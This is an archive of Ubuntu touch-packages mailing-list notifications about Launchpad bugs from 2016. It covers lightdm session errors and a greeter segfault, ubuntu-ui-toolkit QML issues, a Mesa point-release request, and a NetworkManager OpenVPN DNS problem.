This bug was fixed in the package lightdm - 1.21.1-0ubuntu2 --- lightdm (1.21.1-0ubuntu2) zesty; urgency=medium Restore patch from 1.20.0-0ubuntu3: * Add debian/patches/terminate-session.patch: Terminate leftover processes in greeter session. It can happen that the greeter session does not properly clean up itself on logout. This causes leaked processes like settings-daemon which act on the user session as they share the same $DISPLAY. Ask logind to terminate remaining processes in the greeter session on closing, which is more robust than trying to fix every greeter. (LP: #1637758) -- Martin Pitt Tue, 22 Nov 2016 09:43:39 +0100 ** Changed in: lightdm (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1639533 Title: Failure to update ~/.xsession-errors Status in lightdm package in Ubuntu: Fix Released Bug description: When there is an error in e.g. ~/.profile or /etc/profile, a zenity warning dialog is shown at login which calls the user's attention to the error. The error message should also be appended to ~/.xsession- errors, but currently it's not. Changing the line cat "$ERR" >>/dev/stderr in /usr/sbin/lightdm-session to cat "$ERR" >&2 fixes it. (It used to work in trusty, but not any longer, so in part it appears to be some SRU regression.) Since possible error messages are shown in the zenity dialog, I don't think this is important enough to backport. Prepared an MP for zesty. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1639533/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1643276] Re: lightdm-gtk-greeter segv with unknown config options
This bug was fixed in the package lightdm - 1.21.1-0ubuntu2 --- lightdm (1.21.1-0ubuntu2) zesty; urgency=medium Restore patch from 1.20.0-0ubuntu3: * Add debian/patches/terminate-session.patch: Terminate leftover processes in greeter session. It can happen that the greeter session does not properly clean up itself on logout. This causes leaked processes like settings-daemon which act on the user session as they share the same $DISPLAY. Ask logind to terminate remaining processes in the greeter session on closing, which is more robust than trying to fix every greeter. (LP: #1637758) -- Martin Pitt Tue, 22 Nov 2016 09:43:39 +0100 ** Changed in: lightdm (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1643276 Title: lightdm-gtk-greeter segv with unknown config options Status in Light Display Manager: Fix Released Status in lightdm package in Ubuntu: Fix Released Bug description: It seems that lightdm-gtk-greeter segfaults if you have an unknown option in your configuration file. Core was generated by `/usr/sbin/lightdm-gtk-greeter'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x7f0c4fd418a9 in config_load_from_file (config=0x100, path=0x23127d0 "/etc/lightdm/lightdm.conf", messages=0x0, error=0x7fff572556b0) at configuration.c:106 106 *messages = g_list_append (*messages, g_strdup_printf (" [%s] contains unknown option %s", group, keys[j])); [Current thread is 1 (Thread 0x7f0c51b189c0 (LWP 28281))] (gdb) p group $1 = (gchar *) 0x2265c10 "LightDM" (gdb) p keys[j] $2 = (gchar *) 0x21ecd00 "display-setup-script" (gdb) p messages $3 = (GList **) 0x0 (gdb) bt #0 0x7f0c4fd418a9 in config_load_from_file (config=0x100, path=0x23127d0 "/etc/lightdm/lightdm.conf", messages=0x0, error=0x7fff572556b0) at configuration.c:106 #1 0x7f0c4fd41fe6 in config_load_from_standard_locations (config=0x100, config_path=0x0, messages=0x0) at configuration.c:241 #2 0x7f0c4fd3f029 in update_sessions () at session.c:234 #3 0x7f0c4fd3f0f3 in lightdm_get_sessions () at session.c:269 #4 0x0040c972 in main () So it looks like a NULL message list arg is passed to config_load_from_file() while the function expects non-NULL. To manage notifications about this bug go to: https://bugs.launchpad.net/lightdm/+bug/1643276/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1634879] Re: No back button if you select two different pages rapidly
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1634879 Title: No back button if you select two different pages rapidly Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Steps to reproduce: - Open the app - Select on page (for example, "guitar") then another (for example, "chords") BEFORE the first one has time to appear. The result: The second page you pressed appears, quickly replaced by the first one. However, there is no back button on this page, meaning you have to close the app in order to navigate inside it again. This also happens with "settings" and "about". I haven't noticed this one before, but the 0.4.1 update seems a bit slower to me, which could explain it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1634879/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1616889] Re: ActionBar with overflow doesn't shrink
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1616889 Title: ActionBar with overflow doesn't shrink Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: The ActionBar with an overflow, as can be seen in tst_actionbar.13.qml, doesn't shrink below the space needed to show numberOfSlots buttons. That seems counterproductive when the window/ column/ device is too small, but I still want to see more buttons when possible (convergence). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1616889/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1415902] Re: [Sdk]Bottom edge can get stuck part way exposed
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to messaging-app in Ubuntu. https://bugs.launchpad.net/bugs/1415902 Title: [Sdk]Bottom edge can get stuck part way exposed Status in Ubuntu Clock App: Incomplete Status in messaging-app package in Ubuntu: Confirmed Status in ubuntu-ui-toolkit package in Ubuntu: Triaged Status in unity8 package in Ubuntu: Confirmed Bug description: Steps to reproduce:- 1. Open contacts (or another app with bottom edge such as clock or messaging) 2. Swipe up from the bottom slowly with one finger. 3. When half way swiped up, use another finger to swipe in from the right Observe the bottom edge panel is now stuck half way up 4. Go back to the app. Note the bottom edge panel is still stuck half way up. I would expect the bottom edge panel to disappear/cancel or completely rise up (depending on how far you pull it) at step 3 or 4. Screenshots:- http://people.canonical.com/~alan/screenshots/device-2015-01-29-130655.png http://people.canonical.com/~alan/screenshots/device-2015-01-29-130713.png To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-clock-app/+bug/1415902/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1577277] Re: Document Viewer app freezes/crashes on clicking back from pdf files
** Changed in: ubuntu-docviewer-app Assignee: Tim Peeters (tpeeters) => (unassigned) ** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1577277 Title: Document Viewer app freezes/crashes on clicking back from pdf files Status in Canonical System Image: Fix Released Status in Ubuntu Document Viewer App: Fix Released Status in ubuntu-ui-toolkit package in Ubuntu: Incomplete Bug description: Device: mako Channel: rc-proposed App freezes every time on clicking back arrow when trying to close pdf files and go back to the documents list. The only solution seems to be closing the app every time I want to open other pdf. On some occasions, the app will crash by itself when getting out of an pdf. [EDIT]: Former DocViewer contributor Stefano Verzegnassi took a look at this bug so I'll just paste his response here: I've found a few minutes for having a look at this issue, and I guess this has nothing to do with Document Viewer. The component which causes the issue hasn't received any update since an year. The issue in the DocViewer seems to be the same described in bug #1568016, which sounds to me as a regression in the UI Toolkit. During the last months a lot of regressions have been introduced with any UITK update, because critical changes are directly committed to a stable target. As long as core apps should always target the latest version of the toolkit, it should also be granted that a new toolkit update does not break any core app functionality. Anyway, since the UITK team is actually rewriting many components, I suspect the faulty component of the PDF viewer should be entirely rewritten too, since there's a small chance the issue gets fixed upstream (and that's what they did with the issue at the link below). I'm no more an active contributor of the Ubuntu Document Viewer, and whoever will join the team should also take care of fixing this. https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui- toolkit/+bug/1568016 To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1577277/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1583633] Re: addPageToCurrent/NextColumn behaves funny with a non-Page
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1583633 Title: addPageToCurrent/NextColumn behaves funny with a non-Page Status in ubuntu-ui-toolkit package in Ubuntu: Incomplete Bug description: It's currently possible to add any Item to AdaptivePageLayout via addPageToCurrent/NextColumn but in practise there's no title and a "Back" action that doesn't do anything. There should be an error message and the non-Page shouldn't be added to the APL at all. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1583633/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1584223] Re: Apply StyleHint's foregroundColor to ActionBar
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1584223 Title: Apply StyleHint's foregroundColor to ActionBar Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: It would be very handy if one could change the ActionBar's delegate foregroundColor via StyleHints: ActionBar { actions: [...] StyleHints { foregroundColor: UbuntuColors.aubergine } } For me this would be especially useful when using the ActionBar as PageHeader.extension. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1584223/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1561668] Re: The reason for using backgroundTertiaryText in SectionsStyle is unclear.
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1561668 Title: The reason for using backgroundTertiaryText in SectionsStyle is unclear. Status in Ubuntu UX: Triaged Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Looking at SectionStyle.qml [1], it seems the section headers use theme.palette.selected.backgroundTertiaryText to set the color. As I understand backgroundText, backgroundSecondaryText and backgroundTertiaryText are used to denote levels. The page sections have only 1 label and thereby should use theme.palette.selected.backgroundText instead. On talking to timp, he did make me understand that the main page header uses backgroundText while the section headers uses tertiaryText which does make sense. But that is something other app devs won't think of. May be the solution is to show a visual illustration where each SDK component shows what palette color it is using. Do note that this is not about which set (normal, disabled, selected, highlighted) to use, but rather the actual palette value. [1] http://bazaar.launchpad.net/~ubuntu-sdk-team/ubuntu-ui- toolkit/staging/view/head:/src/Ubuntu/Components/Themes/Ambiance/1.3/SectionsStyle.qml To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ux/+bug/1561668/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1276066] Re: Checkbox needs 'unknown' state
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) ** Changed in: ubuntu-ui-toolkit Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1276066 Title: Checkbox needs 'unknown' state Status in Ubuntu UI Toolkit: Incomplete Status in Ubuntu UX: Invalid Status in ubuntu-ui-toolkit package in Ubuntu: Incomplete Bug description: The Checkbox component always animates its state transitions. Sometimes, the "checked" property is set shortly after initialization, which shows the animation when creating a page. For example, this happens when using the GSettings object, which fills in its properties in its componentCompleted: GSettings { id: settings schema.id: "com.ubuntu.touch.system" } CheckBox { checked: settings.autoBrightness } It would be nice if there was a property "animate" which could be used to suppress animations while loading a page. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ui-toolkit/+bug/1276066/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1534843] Re: Drop down in tabs drawer has a slight vertical offset
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1534843 Title: Drop down in tabs drawer has a slight vertical offset Status in Ubuntu Music App: New Status in Ubuntu UX: Triaged Status in ubuntu-ui-toolkit package in Ubuntu: Incomplete Bug description: Very minor but doesn't look designed, will add a screenie--under the "Albums" label. Depends on the scrolling state, roll-down state of header. To manage notifications about this bug go to: https://bugs.launchpad.net/music-app/+bug/1534843/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1576302] Re: Cannot use keyboard to navigate the UITK gallery in single-column mode
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1576302 Title: Cannot use keyboard to navigate the UITK gallery in single-column mode Status in Ubuntu UX: Fix Committed Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Start the UITK gallery, and resize the window to have a single column. Now, with TAB change focus between the header, and the ListView with that list the different Pages with components. But it is not possible when the ListView has focus, to use the arrow keys to select a ListItem, and then press ENTER/SPACE to open that page, because pressing the arrow (up/down) key automatically triggers the ListItem (onClicked?) and opens the Page. So only the first Page (ActionBar) can be opened using keyboard navigation when you have only one column. UX Fix: In a single column view only the arrow keys for selection should be turned off and just move up and down the list, to select enter should be used. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ux/+bug/1576302/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1579045] Re: PageHeaderStyle.disabledForeground color doesn't affect title or subtitle
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1579045 Title: PageHeaderStyle.disabledForeground color doesn't affect title or subtitle Status in Ubuntu UX: New Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: I don't know if that's a bug so much as expected behavior - in the latter case the naming is certainly misleading or unclear at least. header: PageHeader { id: pageHeader title: i18n.tr("Hello World") subtitle: i18n.tr('Lorem ipsum dolor sit amet') enabled: false StyleHints { // The color of disabled actions disabledForegroundColor: UbuntuColors.red } trailingActionBar.actions: [ Action { iconName: 'list-add' } ] } That code snippet causes the action in the header to be red, but none of the labels. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ux/+bug/1579045/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1641017] Re: Mesa 12.0.4 - multiple important fixes, stable branch
** Also affects: mesa (Ubuntu Yakkety) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1641017 Title: Mesa 12.0.4 - multiple important fixes, stable branch Status in mesa package in Ubuntu: Confirmed Status in mesa source package in Yakkety: New Bug description: Mesa 12.0.4 is now available as a point release in the stable branch. The release contains multiple fixes amongst which: The nouveau vdpau driver performance has been restored. The wayland-egl module no longer crashes if the user calls eglDestroySurface and wl_egl_window_destroy in the "wrong" order. libEGL correctly advertises the EGL platforms available. Multiple fd leaks were addressed, which could prevent rmmod of devices such as the DisplayLink drivers. Radeonsi has gained noticeable performance by disabling ReZ. Interop between third party OpenCL implementations and mesa's libGL/libEGL is back online... and many more. Full changelog: https://lists.freedesktop.org/archives/mesa-dev/2016-November/135027.html I am particularly interested in the RadeonSI performance boost: https://lists.freedesktop.org/archives/mesa-dev/2016-October/131759.html In real-world tests the boost is about 20% (Yay!) : http://www.phoronix.com/scan.php?page=news_item&px=Mesa-Post-ReZ-Change-Benchmarks Could it please be added to Yakkety as a SRU? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1641017/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1617818] Re: [ActionBar] Actions are shown in reverse order
*** This bug is a duplicate of bug 1544052 *** https://bugs.launchpad.net/bugs/1544052 ** This bug has been marked a duplicate of bug 1544052 Page header: Wrong actions moved to burger menu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1617818 Title: [ActionBar] Actions are shown in reverse order Status in Canonical System Image: New Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Please try the attached test case: the delete action is the last one, but it appears as the first one. If you add one fourth item to the action list, then the items get sorted correctly. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1617818/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1600177] Re: Keyboard Shortcut doesn't work when the action is in the overflow button
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1600177 Title: Keyboard Shortcut doesn't work when the action is in the overflow button Status in Canonical System Image: Confirmed Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: EXPECTED RESULT: Performing the keyboard shortcut should trigger the action. ACTUAL RESULT: Performing the keyboard shortcut does nothing and no indication of an error in the log STEPS TO REPRODUCE: 1. Add actions in the trailingActionBar of a page header. 2. Add keyboard shortcut to these actions i.e. "Ctrl+F" 3. Set the numberOfSlots property to 1 so that all actions are in the overflow button. 4. Try to perform the keyboard shortcuts Framework Version: ubuntu-sdk-15.04.5 Device: Nexus 7 (rc-proposed) and bq E5 HD (OTA 11) To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1600177/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1605097] Re: Header sections anchors should be documented better
** Summary changed: - Header sections should be flickable + Header sections anchors should be documented better ** Changed in: ubuntu-ui-toolkit (Ubuntu) Importance: High => Low -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1605097 Title: Header sections anchors should be documented better Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: The header sections should be flickable to allow unlimited actions to be added and scrolled though. The source [1] comments state "It is strongly recommended to limit the number of sections to two or three." but this is very limiting and should allow more flexibility. Currently if there are too many actions in the header for the page width part of the component is clipped and the actions cannot be used. see attached screenshot. [1] http://bazaar.launchpad.net/~ubuntu-sdk-team/ubuntu-ui- toolkit/staging/view/head:/src/Ubuntu/Components/1.3/Sections.qml To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1605097/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1583587] Re: Remove "old header" support from AdaptivePageLayout
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1583587 Title: Remove "old header" support from AdaptivePageLayout Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Remove support for the "old-style header" from AdaptivePageLayout (APL). Currently it works when no Page.header is set, but it is not well tested and we cannot support it with all features in the future. Also the current version is prone to mistakes which are not detected/reported. This change will force apps that use APL to make use of PageHeader. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1583587/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644098] Re: Network Manager + OpenVPN does not respond to DNS server change on second connection attempt
I confirm the issue. One detail that should be noted is that during the first connection DNS works, but it leaks! I.e. if you are using a VPN service for privacy purposes you'd expect NM to pick up the DNS settings from the VPN provider (like openvpn from terminal does) and don't use your home router as a DNS server while the VPN is on. Subsequent connections don't have any DNS working, not even a leaky one. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1644098 Title: Network Manager + OpenVPN does not respond to DNS server change on second connection attempt Status in network-manager package in Ubuntu: Confirmed Bug description: Scenario: Discovered on Kubuntu 16.10, upgraded from a fresh install of 16.04. While I only have the one computer to test with, the 16.10 is definitely relevant (I did not have this problem on 16.04) but I can't tell if the upgrade is part of it, (the upgrade may or may not be relevant). Have "full time" wired or wireless connection (does not matter which used) Part time OpenVPN connection set up via NetworkManager. Steps to reproduce 1. Fresh boot 2. ping a device on the VPN network (eg amachine.remotelan ) Result: "ping: amachine.remotelan: Name or service not known" 3. Connect to the VPN service via Network Manager. 4. ping amachine.remotelan - result: PING amachine.remotelan (192.168.68.44) 56(84) bytes of data. 64 bytes from amachine.remotelan (192.168.68.44): icmp_seq=1 ttl=127 time=7.75 ms 5. Disconnect from the VPN service again. ping result again "ping: amachine.remotelan: Name or service not known" 6. Reconnect to the VPN again, and ping again Observed: "ping: amachine.remotelan: Name or service not known" However "ping 192.168.68.44" responds successfully as expected Expected: PING ... 192.168 64 bytes from .. etc to the ping by name --- Further info I'm going to add in a subsequent comment. (just annotating syslog right now!) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1644098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1576298] Re: PageHeader tutorial as UITK doc
** Changed in: ubuntu-ui-toolkit (Ubuntu) Importance: Medium => Low -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1576298 Title: PageHeader tutorial as UITK doc Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Add this tutorial https://developer.ubuntu.com/en/blog/2016/02/24 /pageheader-tutorial/ as documentation in the UITK. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1576298/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1554795] Re: timeout on restart or shutdown with LUKS root
** Changed in: systemd (Ubuntu) Status: Confirmed => Fix Released ** Changed in: initramfs-tools (Ubuntu) Status: Confirmed => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1554795 Title: timeout on restart or shutdown with LUKS root Status in initramfs-tools package in Ubuntu: Fix Committed Status in systemd package in Ubuntu: Fix Released Bug description: Using the server install ISO, it's possible to specify root on LUKS and variations thereof - for instance, root on LUKS on MD-RAID, root on LVM on LUKS on MD-RAID, and so forth. The installer does the right thing and initramfs-tools does everything necessary to support booting this sort of thing. However, systemd gives a 90-second timeout on restart or shutdown, presumably because it cannot dispose of the things beneath root. It's wholly unclear to me where the 90-second timeout is specified, should I wish to shorten it to reboot without the futile delay, but more to the point, there seems to be infrastructure for handling this kind of situation that doesn't exist in Ubuntu at present. I was pointed at this: https://www.freedesktop.org/wiki/Software/systemd/InitrdInterface/ However, Ubuntu seems not to have anything in its initramfs-tools to facilitate "shutdown-initrd" functionality. I haven't tested this, but I suspect this problem will exist for folks running root on MD-RAID without the LUKS as well. Either way, a relatively common vanilla install will force 90-second timeouts on users, which is unfortunate. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: systemd 229-2ubuntu1 [modified: usr/share/dbus-1/system-services/org.freedesktop.systemd1.service] ProcVersionSignature: Ubuntu 4.4.0-11.26-generic 4.4.4 Uname: Linux 4.4.0-11-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20-0ubuntu3 Architecture: amd64 Date: Tue Mar 8 18:06:45 2016 InstallationDate: Installed on 2016-02-24 (13 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160219) Lsusb: Bus 002 Device 002: ID 1058:0820 Western Digital Technologies, Inc. My Passport Ultra (WDBMWV, WDBZFP) Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 046d:c408 Logitech, Inc. Marble Mouse (4-button) Bus 001 Device 002: ID 046d:c318 Logitech, Inc. Illuminated Keyboard Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Gigabyte Technology Co., Ltd. To be filled by O.E.M. ProcEnviron: TERM=xterm-color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-11-generic.efi.signed root=/dev/mapper/hostname-root ro net.ifnames=0 biosdevname=0 SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf 2 overridden configuration files found. UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/04/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F1 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X150M-PRO ECC-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF1:bd12/04/2015:svnGigabyteTechnologyCo.,Ltd.:pnTobefilledbyO.E.M.:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnX150M-PROECC-CF:rvrx.x:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To be filled by O.E.M. dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1554795/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1566778] Re: Documentation on anchoring and PageHeader is confusing
